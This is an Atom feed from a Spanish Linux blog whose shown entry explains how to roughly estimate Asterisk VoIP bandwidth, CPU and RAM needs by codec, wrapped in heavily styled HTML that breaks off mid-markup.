<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-758491715129760469</id><updated>2026-04-03T03:32:35.346+02:00</updated><category term="Linux"/><category term="Howto"/><category term="Shell"/><category term="Seguridad"/><category term="Networking"/><category term="Bash"/><category term="Internet"/><category term="Debian"/><category term="Firewall"/><category term="Kernel"/><category term="Navegador"/><category term="Desarrollo"/><category term="Windows"/><category term="Red Hat"/><category term="Ubuntu"/><category term="Android"/><category term="Forense"/><category term="Asterisk"/><category term="Apache2"/><category term="Disco"/><category term="Raspberry pi"/><category term="SQL"/><category term="Suse"/><category term="Arch"/><category term="Virtualización"/><category term="RAM"/><title type='text'>Bytelearning</title><subtitle type='html'>Blog con información sobre los distintos campos de la informatica tales como Linux, tutoriales, noticias, sistemas, redes y seguridad.</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='https://bytelearning.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/758491715129760469/posts/default?max-results=20'/><link rel='alternate' type='text/html' href='https://bytelearning.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='https://www.blogger.com/feeds/758491715129760469/posts/default?start-index=21&amp;max-results=20'/><author><name>Ivan Da Silva</name><uri>http://www.blogger.com/profile/13470310234898491916</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>250</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>20</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-758491715129760469.post-9101231679447275208</id><published>2022-10-04T21:08:00.001+02:00</published><updated>2022-10-04T21:09:32.931+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Asterisk"/><category scheme="http://www.blogger.com/atom/ns#" term="Howto"/><category scheme="http://www.blogger.com/atom/ns#" term="Linux"/><category scheme="http://www.blogger.com/atom/ns#" term="Shell"/><title type='text'>Cómo hacer un cálculo genérico de cuanto puede consumir Asterisk en Linux</title><content type='html'>&lt;p style=&quot;background-color: transparent; font-kerning: none; margin: 0px; overflow-wrap: break-word; padding: 0px; text-align: justify; user-select: text; vertical-align: baseline;&quot;&gt;&lt;span&gt;&lt;span class=&quot;TextRun SCXW197828633 BCX9&quot; color=&quot;windowtext&quot; data-contrast=&quot;auto&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; lang=&quot;ES-ES&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; line-height: 19.425px; margin: 0px; padding: 0px; text-align: justify; user-select: text;&quot; xml:lang=&quot;ES-ES&quot;&gt;&lt;span style=&quot;background-color: white; font-variant-ligatures: none; white-space: pre-wrap;&quot;&gt;Cuando entramos en los terrenos de &lt;b&gt;VoIP&lt;/b&gt;, hay muchas variables y un mundo de factores que pueden influir y &quot;alterar&quot; nuestras mediciones, pero siempre es bueno tener algunas referencias genéricas a mano con el finde poder hacer algunas estimaciones aproximadas a la hora de dimensionar los recursos necesarios para montar una PBX. A la hora de decir &quot;cuanto consume&quot;, generalmente se divide en tres sub-factores: Ancho de banda, consumo de CPU y consumo de RAM.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;background-color: transparent; font-kerning: none; margin: 0px; overflow-wrap: break-word; padding: 0px; text-align: justify; user-select: text; vertical-align: baseline;&quot;&gt;&lt;span&gt;&lt;span class=&quot;TextRun SCXW197828633 BCX9&quot; color=&quot;windowtext&quot; data-contrast=&quot;auto&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; lang=&quot;ES-ES&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; line-height: 19.425px; margin: 0px; padding: 0px; text-align: justify; user-select: text;&quot; xml:lang=&quot;ES-ES&quot;&gt;&lt;span style=&quot;background-color: white; font-variant-ligatures: none; white-space: pre-wrap;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;background-color: transparent; font-kerning: none; margin: 0px; overflow-wrap: break-word; padding: 0px; text-align: justify; user-select: text; vertical-align: baseline;&quot;&gt;&lt;span&gt;&lt;span class=&quot;TextRun SCXW197828633 BCX9&quot; color=&quot;windowtext&quot; data-contrast=&quot;auto&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; lang=&quot;ES-ES&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; line-height: 19.425px; margin: 0px; padding: 0px; text-align: justify; user-select: text;&quot; xml:lang=&quot;ES-ES&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;span&gt;&lt;span class=&quot;TextRun SCXW197828633 BCX9&quot; color=&quot;windowtext&quot; data-contrast=&quot;auto&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; lang=&quot;ES-ES&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; line-height: 19.425px; margin: 0px; padding: 0px; text-align: justify; user-select: text;&quot; xml:lang=&quot;ES-ES&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_SOVtSPyb_p1hnL2Oi45G69AD2I3XGCXSqfCWgqJUm51g4plEos5oeu7zaUlU4EguYoc2M22uCfclwG2NbZyRk-hp-yi25AHSuBxNgW5xEEPeI-gczNk5NnysGu4_nkBaLrnvWMhMQtQuRWSoMjd7KgU4GIv4cnhMP2ik35of-fGt-slD1w6_yj8KVA/s776/asterisk_calc_portada.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;Asterisk_calc_portada&quot; border=&quot;0&quot; data-original-height=&quot;376&quot; data-original-width=&quot;776&quot; height=&quot;155&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_SOVtSPyb_p1hnL2Oi45G69AD2I3XGCXSqfCWgqJUm51g4plEos5oeu7zaUlU4EguYoc2M22uCfclwG2NbZyRk-hp-yi25AHSuBxNgW5xEEPeI-gczNk5NnysGu4_nkBaLrnvWMhMQtQuRWSoMjd7KgU4GIv4cnhMP2ik35of-fGt-slD1w6_yj8KVA/w320-h155/asterisk_calc_portada.png&quot; title=&quot;Asterisk_calc_portada&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p style=&quot;background-color: transparent; font-kerning: none; margin: 0px; overflow-wrap: break-word; padding: 0px; text-align: justify; user-select: text; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;font-family: inherit; white-space: pre-wrap;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;div class=&quot;OutlineElement Ltr SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: white; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative; user-select: text;&quot;&gt;&lt;p class=&quot;Paragraph SCXW197828633 BCX9&quot; paraeid=&quot;{63b9dce2-b8a5-400b-8a76-2b2f7c34bc67}{10}&quot; paraid=&quot;1677303317&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: transparent; font-kerning: none; margin: 0px; overflow-wrap: break-word; padding: 0px; text-align: justify; user-select: text; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span style=&quot;font-family: inherit; font-size: medium;&quot;&gt;&lt;span class=&quot;TextRun Underlined SCXW197828633 BCX9&quot; data-contrast=&quot;auto&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; lang=&quot;ES-ES&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; font-variant-ligatures: none; font-weight: bold; line-height: 23.7417px; margin: 0px; padding: 0px; text-decoration-line: underline; user-select: text;&quot; xml:lang=&quot;ES-ES&quot;&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt;Ancho de banda&lt;/span&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt; Asterisk&lt;/span&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt;:&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;EOP SCXW197828633 BCX9&quot; data-ccp-props=&quot;{&amp;quot;335551550&amp;quot;:6,&amp;quot;335551620&amp;quot;:6,&amp;quot;469777462&amp;quot;:[2386],&amp;quot;469777927&amp;quot;:[0],&amp;quot;469777928&amp;quot;:[1]}&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; line-height: 23.7417px; margin: 0px; padding: 0px; user-select: text;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;div class=&quot;OutlineElement Ltr SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: white; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative; user-select: text;&quot;&gt;&lt;p class=&quot;Paragraph SCXW197828633 BCX9&quot; paraeid=&quot;{63b9dce2-b8a5-400b-8a76-2b2f7c34bc67}{20}&quot; paraid=&quot;69893098&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: transparent; font-kerning: none; margin: 0px; overflow-wrap: break-word; padding: 0px; text-align: justify; user-select: text; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;TextRun SCXW197828633 BCX9&quot; data-contrast=&quot;auto&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; lang=&quot;ES-ES&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; font-variant-ligatures: none; line-height: 19.425px; margin: 0px; padding: 0px; user-select: text;&quot; xml:lang=&quot;ES-ES&quot;&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt;&lt;span color=&quot;rgba(0, 0, 0, 0)&quot;&gt;E&lt;/span&gt;mpecemos por el cálculo más sencillo, que sería el de ancho de banda, cosa que aquí concretamente es muy importante… Para ello, es importante saber que, dependiendo del códec utilizado el ancho de banda varía… Hablando en términos generales, históricamente se ha usado siempre el códec más común y standard en todos los &lt;/span&gt;&lt;span class=&quot;NormalTextRun SpellingErrorV2Themed SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-image: var(--urlSpellingErrorV2, url(&amp;quot;data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPHN2ZyB3aWR0aD0iNXB4IiBoZWlnaHQ9IjRweCIgdmlld0JveD0iMCAwIDUgNCIgdmVyc2lvbj0iMS4xIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIj4KICAgIDwhLS0gR2VuZXJhdG9yOiBTa2V0Y2ggNTYuMiAoODE2NzIpIC0gaHR0cHM6Ly9za2V0Y2guY29tIC0tPgogICAgPHRpdGxlPnNwZWxsaW5nX3NxdWlnZ2xlPC90aXRsZT4KICAgIDxkZXNjPkNyZWF0ZWQgd2l0aCBTa2V0Y2guPC9kZXNjPgogICAgPGcgaWQ9IkZsYWdzIiBzdHJva2U9Im5vbmUiIHN0cm9rZS13aWR0aD0iMSIgZmlsbD0ibm9uZSIgZmlsbC1ydWxlPSJldmVub2RkIj4KICAgICAgICA8ZyB0cmFuc2Zvcm09InRyYW5zbGF0ZSgtMTAxMC4wMDAwMDAsIC0yOTYuMDAwMDAwKSIgaWQ9InNwZWxsaW5nX3NxdWlnZ2xlIj4KICAgICAgICAgICAgPGcgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoMTAxMC4wMDAwMDAsIDI5Ni4wMDAwMDApIj4KICAgICAgICAgICAgICAgIDxwYXRoIGQ9Ik0wLDMgQzEuMjUsMyAxLjI1LDEgMi41LDEgQzMuNzUsMSAzLjc1LDMgNSwzIiBpZD0iUGF0aCIgc3Ryb2tlPSIjRUIwMDAwIiBzdHJva2Utd2lkdGg9IjEiPjwvcGF0aD4KICAgICAgICAgICAgICAgIDxyZWN0IGlkPSJSZWN0YW5nbGUiIHg9IjAiIHk9IjAiIHdpZHRoPSI1IiBoZWlnaHQ9IjQiPjwvcmVjdD4KICAgICAgICAgICAgPC9nPgogICAgICAgIDwvZz4KICAgIDwvZz4KPC9zdmc+&amp;quot;)); background-position: 0% 100%; background-repeat: repeat-x; border-bottom: 1px solid transparent; margin: 0px; padding: 0px; user-select: text;&quot;&gt;softphone&lt;/span&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt; y tecnologías que hay a nivel nacional e internacional, el &lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;TextRun SCXW197828633 BCX9&quot; data-contrast=&quot;auto&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; lang=&quot;ES-ES&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; font-variant-ligatures: none; font-weight: bold; line-height: 19.425px; margin: 0px; padding: 0px; user-select: text;&quot; xml:lang=&quot;ES-ES&quot;&gt;G711&lt;/span&gt;&lt;span class=&quot;TextRun SCXW197828633 BCX9&quot; data-contrast=&quot;auto&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; lang=&quot;ES-ES&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; font-variant-ligatures: none; line-height: 19.425px; margin: 0px; padding: 0px; user-select: text;&quot; xml:lang=&quot;ES-ES&quot;&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt;. Sí, el G729 es el más eficiente en términos&lt;/span&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt; de ancho de banda&lt;/span&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt;, pero representa varios inconvenientes dicho protocolo, y es que, más allá de que es de pago, &lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;TextRun SCXW197828633 BCX9&quot; data-contrast=&quot;auto&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; lang=&quot;ES-ES&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; font-variant-ligatures: none; font-weight: bold; line-height: 19.425px; margin: 0px; padding: 0px; user-select: text;&quot; xml:lang=&quot;ES-ES&quot;&gt;NO&lt;/span&gt;&lt;span class=&quot;TextRun SCXW197828633 BCX9&quot; data-contrast=&quot;auto&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; lang=&quot;ES-ES&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; font-variant-ligatures: none; line-height: 19.425px; margin: 0px; padding: 0px; user-select: text;&quot; xml:lang=&quot;ES-ES&quot;&gt; &lt;/span&gt;&lt;span class=&quot;TextRun SCXW197828633 BCX9&quot; data-contrast=&quot;auto&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; lang=&quot;ES-ES&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; font-variant-ligatures: none; font-weight: bold; line-height: 19.425px; margin: 0px; padding: 0px; user-select: text;&quot; xml:lang=&quot;ES-ES&quot;&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt;permite &lt;/span&gt;&lt;span class=&quot;NormalTextRun SpellingErrorV2Themed SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-image: var(--urlSpellingErrorV2, url(&amp;quot;data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPHN2ZyB3aWR0aD0iNXB4IiBoZWlnaHQ9IjRweCIgdmlld0JveD0iMCAwIDUgNCIgdmVyc2lvbj0iMS4xIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIj4KICAgIDwhLS0gR2VuZXJhdG9yOiBTa2V0Y2ggNTYuMiAoODE2NzIpIC0gaHR0cHM6Ly9za2V0Y2guY29tIC0tPgogICAgPHRpdGxlPnNwZWxsaW5nX3NxdWlnZ2xlPC90aXRsZT4KICAgIDxkZXNjPkNyZWF0ZWQgd2l0aCBTa2V0Y2guPC9kZXNjPgogICAgPGcgaWQ9IkZsYWdzIiBzdHJva2U9Im5vbmUiIHN0cm9rZS13aWR0aD0iMSIgZmlsbD0ibm9uZSIgZmlsbC1ydWxlPSJldmVub2RkIj4KICAgICAgICA8ZyB0cmFuc2Zvcm09InRyYW5zbGF0ZSgtMTAxMC4wMDAwMDAsIC0yOTYuMDAwMDAwKSIgaWQ9InNwZWxsaW5nX3NxdWlnZ2xlIj4KICAgICAgICAgICAgPGcgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoMTAxMC4wMDAwMDAsIDI5Ni4wMDAwMDApIj4KICAgICAgICAgICAgICAgIDxwYXRoIGQ9Ik0wLDMgQzEuMjUsMyAxLjI1LDEgMi41LDEgQzMuNzUsMSAzLjc1LDMgNSwzIiBpZD0iUGF0aCIgc3Ryb2tlPSIjRUIwMDAwIiBzdHJva2Utd2lkdGg9IjEiPjwvcGF0aD4KICAgICAgICAgICAgICAgIDxyZWN0IGlkPSJSZWN0YW5nbGUiIHg9IjAiIHk9IjAiIHdpZHRoPSI1IiBoZWlnaHQ9IjQiPjwvcmVjdD4KICAgICAgICAgICAgPC9nPgogICAgICAgIDwvZz4KICAgIDwvZz4KPC9zdmc+&amp;quot;)); background-position: 0% 100%; background-repeat: repeat-x; border-bottom: 1px solid transparent; margin: 0px; padding: 0px; user-select: text;&quot;&gt;transcoding&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;TextRun SCXW197828633 BCX9&quot; data-contrast=&quot;auto&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; lang=&quot;ES-ES&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; font-variant-ligatures: none; line-height: 19.425px; margin: 0px; padding: 0px; user-select: text;&quot; xml:lang=&quot;ES-ES&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;EOP SCXW197828633 BCX9&quot; data-ccp-props=&quot;{&amp;quot;335551550&amp;quot;:6,&amp;quot;335551620&amp;quot;:6,&amp;quot;469777462&amp;quot;:[2386],&amp;quot;469777927&amp;quot;:[0],&amp;quot;469777928&amp;quot;:[1]}&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; line-height: 19.425px; margin: 0px; padding: 0px; user-select: text;&quot;&gt;&amp;nbsp;Aún así a continuación una tabla genérica:&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;div class=&quot;OutlineElement Ltr SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: white; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative; user-select: text;&quot;&gt;&lt;p class=&quot;Paragraph SCXW197828633 BCX9&quot; paraeid=&quot;{63b9dce2-b8a5-400b-8a76-2b2f7c34bc67}{48}&quot; paraid=&quot;1778755593&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: transparent; font-kerning: none; margin: 0px; overflow-wrap: break-word; padding: 0px; text-align: justify; user-select: text; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;TextRun SCXW197828633 BCX9&quot; data-contrast=&quot;auto&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; lang=&quot;ES-ES&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; font-variant-ligatures: none; line-height: 19.425px; margin: 0px; padding: 0px; user-select: text;&quot; xml:lang=&quot;ES-ES&quot;&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;EOP SCXW197828633 BCX9&quot; data-ccp-props=&quot;{&amp;quot;335551550&amp;quot;:6,&amp;quot;335551620&amp;quot;:6,&amp;quot;469777462&amp;quot;:[2386],&amp;quot;469777927&amp;quot;:[0],&amp;quot;469777928&amp;quot;:[1]}&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; line-height: 19.425px; margin: 0px; padding: 0px; user-select: text;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span color=&quot;windowtext&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; style=&quot;background-color: transparent; text-align: left;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;div class=&quot;OutlineElement Ltr SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: white; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative; user-select: text;&quot;&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZ9qLrHA-meg9QOgFloQotfzVys6vvzDWHK8zu2SIvBmPZKJL1xBF9rkkHEq_9jJv3uFO_t7eNs3YYzIOVANu_scaLzCVwNUr7y85xWg79CNz7WHtf2_wloRBsMwMzH8usHSqIqaqYfxH01OAZr16sAEHEtJYKy5WXNWzjc_uLkQZmqgUFYQP-mUJGTA/s571/Ancho_banda_audio.PNG&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;span style=&quot;color: black; font-family: inherit;&quot;&gt;&lt;img alt=&quot;ancho_banda_codec_audio&quot; border=&quot;0&quot; data-original-height=&quot;271&quot; data-original-width=&quot;571&quot; height=&quot;152&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZ9qLrHA-meg9QOgFloQotfzVys6vvzDWHK8zu2SIvBmPZKJL1xBF9rkkHEq_9jJv3uFO_t7eNs3YYzIOVANu_scaLzCVwNUr7y85xWg79CNz7WHtf2_wloRBsMwMzH8usHSqIqaqYfxH01OAZr16sAEHEtJYKy5WXNWzjc_uLkQZmqgUFYQP-mUJGTA/w320-h152/Ancho_banda_audio.PNG&quot; title=&quot;ancho_banda_codec_audio&quot; width=&quot;320&quot; /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;OutlineElement Ltr SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: white; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative; user-select: text;&quot;&gt;&lt;p class=&quot;Paragraph SCXW197828633 BCX9&quot; paraeid=&quot;{63b9dce2-b8a5-400b-8a76-2b2f7c34bc67}{57}&quot; paraid=&quot;701509706&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: transparent; font-kerning: none; margin: 0px; overflow-wrap: break-word; padding: 0px; text-align: center; user-select: text; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;TextRun SCXW197828633 BCX9&quot; data-contrast=&quot;auto&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; lang=&quot;ES-ES&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; font-style: italic; font-variant-ligatures: none; line-height: 19.425px; margin: 0px; padding: 0px; user-select: text;&quot; xml:lang=&quot;ES-ES&quot;&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt;Tabla anchos de banda &lt;/span&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt;códecs&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;EOP SCXW197828633 BCX9&quot; data-ccp-props=&quot;{&amp;quot;335551550&amp;quot;:2,&amp;quot;335551620&amp;quot;:2,&amp;quot;469777462&amp;quot;:[2386],&amp;quot;469777927&amp;quot;:[0],&amp;quot;469777928&amp;quot;:[1]}&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; line-height: 19.425px; margin: 0px; padding: 0px; user-select: text;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;div class=&quot;OutlineElement Ltr SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: white; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative; user-select: text;&quot;&gt;&lt;p class=&quot;Paragraph SCXW197828633 BCX9&quot; paraeid=&quot;{63b9dce2-b8a5-400b-8a76-2b2f7c34bc67}{65}&quot; paraid=&quot;1103688598&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: transparent; font-kerning: none; margin: 0px; overflow-wrap: break-word; padding: 0px; user-select: text; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;TextRun SCXW197828633 BCX9&quot; data-contrast=&quot;auto&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; lang=&quot;ES-ES&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; font-variant-ligatures: none; line-height: 19.425px; margin: 0px; padding: 0px; user-select: text;&quot; xml:lang=&quot;ES-ES&quot;&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;EOP SCXW197828633 BCX9&quot; data-ccp-props=&quot;{&amp;quot;469777462&amp;quot;:[2386],&amp;quot;469777927&amp;quot;:[0],&amp;quot;469777928&amp;quot;:[1]}&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; line-height: 19.425px; margin: 0px; padding: 0px; user-select: text;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;div class=&quot;OutlineElement Ltr SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: white; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative; user-select: text;&quot;&gt;&lt;p 